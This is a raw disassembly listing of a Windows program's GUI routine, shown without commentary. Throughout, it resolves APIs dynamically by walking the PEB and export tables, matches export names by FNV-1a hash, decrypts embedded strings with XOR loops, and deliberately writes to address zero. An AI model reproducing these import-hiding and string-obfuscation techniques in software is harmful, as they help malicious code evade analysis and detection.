nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ef40
cmp r8d, 0xe80fd3a
je 0x14008ef6b
test r9d, r9d
jne 0x14008ef20
mov rax, qword [rax]
jmp 0x14008eef0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008f016
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008f016
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008f011
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008eff0
cmp r8d, 0xa52bcaf9
je 0x14008f01b
test r9d, r9d
jne 0x14008efd0
mov rax, qword [rax]
jmp 0x14008efa0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [0x14019b70b], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x14019b779], 1
jmp 0x14008f28f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008f106
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008f106
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008f101
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008f0e0
cmp r8d, 0xcded1a85
je 0x14008f10b
test r9d, r9d
jne 0x14008f0c0
mov rax, qword [rax]
jmp 0x14008f090
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008f1b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008f1b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008f1b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008f190
cmp r8d, 0xe80fd3a
je 0x14008f1bb
test r9d, r9d
jne 0x14008f170
mov rax, qword [rax]
jmp 0x14008f140
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008f266
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008f266
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008f261
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008f240
cmp r8d, 0xa52bcaf9
je 0x14008f26b
test r9d, r9d
jne 0x14008f220
mov rax, qword [rax]
jmp 0x14008f1f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0x1478]
call fcn.140064450
mov rbx, qword [rbp + 8]
mov dword [rbp + 0x100], 0x43700000
mov dword [rbp + 0x104], 0x43b40000
lea rcx, [rbp + 0x100]
call fcn.140025c50
movups xmmword [rsi + 0xc4], xmm12
movdqa xmm3, xmmword [0x1401254c0]
mov dword [rbp + 0x108], 0x43820000
mov dword [rbp + 0x10c], 0x42200000
movsd xmm0, qword [str.rPQX]
movsd qword [rbp + 0x678], xmm0
mov ecx, dword [str.tV_RR]
mov dword [rbp + 0x680], ecx
movzx eax, word [0x140164ff4]
mov word [rbp + 0x684], ax
cmp byte [0x140164ff5], 0
je 0x14008f4b0
mov r8d, r12d
cmp r15d, 2
jl 0x14008f46d
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.rPQX]
xorps xmm1, xmm0
movd dword [rbp + 0x678], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x67c]
xorps xmm2, xmm1
movd dword [rbp + 0x67c], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x680], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x678]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14008f480
movups xmm6, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x50], xmm6
movdqa xmmword [rsp + 0x60], xmm3
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a6b8]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a6b0]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a6a8]
xor r8d, r8d
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x678]
call fcn.14003ede0
test al, al
je 0x14008f523
mov byte [0x14019b70b], 1
mov byte [reloc.WS2_32.dll_accept], 0
movups xmmword [rsi + 0xc4], xmm6
mov rcx, rbx
call fcn.140025a50
mov dword [rbp + 0x110], 0x4432c000
mov dword [rbp + 0x114], 0x40a00000
lea rcx, [rbp + 0x110]
call fcn.140025c50
movdqa xmm0, xmmword [0x140167fc0]
mov dword [rbp + 0x118], 0x41a00000
mov dword [rbp + 0x11c], 0x41f00000
movzx eax, word [0x140164ff8]
mov word [rbp - 0x6c], ax
cmp byte [0x140164ff9], 0
je 0x14008f58a
mov byte [rbp - 0x6c], 0x78
xor byte [rbp - 0x6b], 0x31
movups xmm1, xmmword [0x140168000]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a6d0]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a6c8]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a6c0]
xor r8d, r8d
lea rdx, [rbp + 0x118]
lea rcx, [rbp - 0x6c]
call fcn.14003f280
test al, al
je 0x14008f5ee
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, rbx
call fcn.140025a50
mov dword [rbp + 0x120], 0x44278000
mov dword [rbp + 0x124], 0x43c80000
lea rcx, [rbp + 0x120]
call fcn.140025c50
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0x128], 0x42700000
mov dword [rbp + 0x12c], 0x42480000
movsd xmm0, qword [0x140165000]
movsd qword [rbp + 0x588], xmm0
mov ecx, dword [0x140165008]
mov dword [rbp + 0x590], ecx
cmp byte [0x14016500b], 0
je 0x14008f7d9
mov r8d, r12d
cmp r15d, 2
jl 0x14008f7a9
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140165000]
xorps xmm1, xmm0
movd dword [rbp + 0x588], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x58c]
xorps xmm2, xmm1
movd dword [rbp + 0x58c], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x590], xmm2
jmp 0x14008f7d9
lea r9, [rbp + 0x588]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008f7b0
movdqa xmmword [rsp + 0x50], xmm12
movdqa xmmword [rsp + 0x60], xmm3
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019bdf0]
mov qword [rsp + 0x28], rax
lea rax, [0x14019bdf8]
mov qword [rsp + 0x20], rax
lea r9, [0x14019bde8]
xor r8d, r8d
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x588]
call fcn.14003ede0
test al, al
je 0x14008fa5b
movups xmm0, xmmword [0x140165010]
movups xmmword [rbp + 0xe00], xmm0
movups xmm1, xmmword [0x140165020]
movups xmmword [rbp + 0xe10], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14008f9ab
mov r8d, r12d
cmp r15d, 2
jl 0x14008f97b
mov edx, r12d
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rbp + 0xe04]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14008f890
jmp 0x14008f9ab
lea r9, [rbp + 0xe00]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14008f982
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008fa36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008fa36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008fa31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008fa10
cmp r8d, 0x491e0a9c
je 0x14008fa3b
test r9d, r9d
jne 0x14008f9f0
mov rax, qword [rax]
jmp 0x14008f9c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xe00]
call rdx
call fcn.140015b00
mov rsi, qword [rbp + 0x18]
jmp 0x14008fa6a
movups xmm6, xmmword [rbp - 0x80]
call fcn.1400198b0
xorps xmm0, xmm0
movups xmmword [rax + 0xf4], xmm0
mov qword [rbp + 0x130], 0
lea rcx, [rbp + 0x130]
call fcn.140025c50
mov dword [rbp + 0x138], 0x43160000
mov dword [rbp + 0x13c], 0x43e60000
mov r9d, Ordinal_27
mov r8b, 1
lea rdx, [rbp + 0x138]
lea rcx, str.Sidebar
call fcn.140007c60
mov dword [rbp + 0x140], 0x41480000
mov dword [rbp + 0x144], 0x41200000
lea rcx, [rbp + 0x140]
call fcn.140025c50
xorps xmm0, xmm0
movups xmmword [rbp + 0x808], xmm0
movups xmmword [rbp + 0x818], xmm6
mov dword [rbp + 0x148], 0x3f800000
mov dword [rbp + 0x14c], 0x3f800000
mov qword [rbp + 0x150], 0
movd xmm6, dword [rbp + 0x1678]
cvtdq2ps xmm6, xmm6
movss dword [rbp + 0x158], xmm6
movd xmm0, dword [rbp + 0x1680]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x15c], xmm0
lea rax, [rbp + 0x808]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x818]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x148]
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x158]
mov rcx, r13
call fcn.140046650
call fcn.1400198b0
mov rbx, rax
xorps xmm0, xmm0
movss xmm1, dword [0x14011fef4]
unpcklps xmm0, xmm1
movsd qword [rax + 0x94], xmm0
mov dword [rbp + 0x168], 0x425c0000
mov dword [rbp + 0x16c], 0x43c80000
lea rcx, [rbp + 0x168]
call fcn.140025c50
movdqa xmm0, xmmword [str.e__e__e__]
movups xmmword [rbx + 0x224], xmm0
movups xmmword [rbx + 0xf4], xmm0
movdqa xmm0, xmmword [0x140167e70]
movups xmmword [rbx + 0x114], xmm0
xorps xmm0, xmm0
movups xmmword [rbx + 0x214], xmm0
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbp + 0x868], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x878], xmm0
mov dword [rbp + 0x170], 0x3f800000
mov dword [rbp + 0x174], 0x3f800000
mov qword [rbp + 0x178], 0
mov dword [rbp + 0x180], 0x42140000
mov dword [rbp + 0x184], 0x41e00000
lea rax, [rbp + 0x868]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x878]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x170]
lea r8, [rbp + 0x178]
lea rdx, [rbp + 0x180]
mov rcx, rsi
call fcn.140046880
test al, al
je 0x14008fe8b
movups xmm0, xmmword [0x140165030]
movups xmmword [rbp + 0xde0], xmm0
movups xmm1, xmmword [0x140165040]
movups xmmword [rbp + 0xdf0], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14008fddb
mov r8d, r12d
cmp r15d, 2
jl 0x14008fdab
mov edx, r12d
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rbp + 0xde4]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14008fcc0
jmp 0x14008fddb
lea r9, [rbp + 0xde0]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14008fdb2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008fe66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008fe66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008fe61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008fe40
cmp r8d, 0x491e0a9c
je 0x14008fe6b
test r9d, r9d
jne 0x14008fe20
mov rax, qword [rax]
jmp 0x14008fdf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xde0]
call rdx
mov dword [rbp + 0x188], 0x41200000
mov dword [rbp + 0x18c], 0x43d70000
lea rcx, [rbp + 0x188]
call fcn.140025c50
mov r14, qword [rbp - 8]
mov rcx, r14
call fcn.140025a50
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0x190], 0x42f40000
mov dword [rbp + 0x194], 0x41e00000
movups xmm2, xmmword [0x140165050]
movups xmmword [rbp + 0xb08], xmm2
movzx eax, word [0x140165060]
mov word [rbp + 0xb18], ax
cmp byte [0x140165061], 0
je 0x140090100
mov r8d, r12d
cmp r15d, 2
jl 0x1400900bd
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb08], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb0c]
xorps xmm2, xmm1
movd dword [rbp + 0xb0c], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb10]
xorps xmm2, xmm1
movd dword [rbp + 0xb10], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb14]
xorps xmm2, xmm1
movd dword [rbp + 0xb14], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xb08]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400900d0
movups xmm0, xmmword [0x140168000]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm3
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a6e8]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a6e0]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a6d8]
xor r8d, r8d
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xb08]
call fcn.14003f280
test al, al
je 0x14009038b
movups xmm0, xmmword [0x140165068]
movups xmmword [rbp + 0xe40], xmm0
movups xmm1, xmmword [0x140165078]
movups xmmword [rbp + 0xe50], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400902db
mov r8d, r12d
cmp r15d, 2
jl 0x1400902ab
mov edx, r12d
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rbp + 0xe44]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400901c0
jmp 0x1400902db
lea r9, [rbp + 0xe40]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
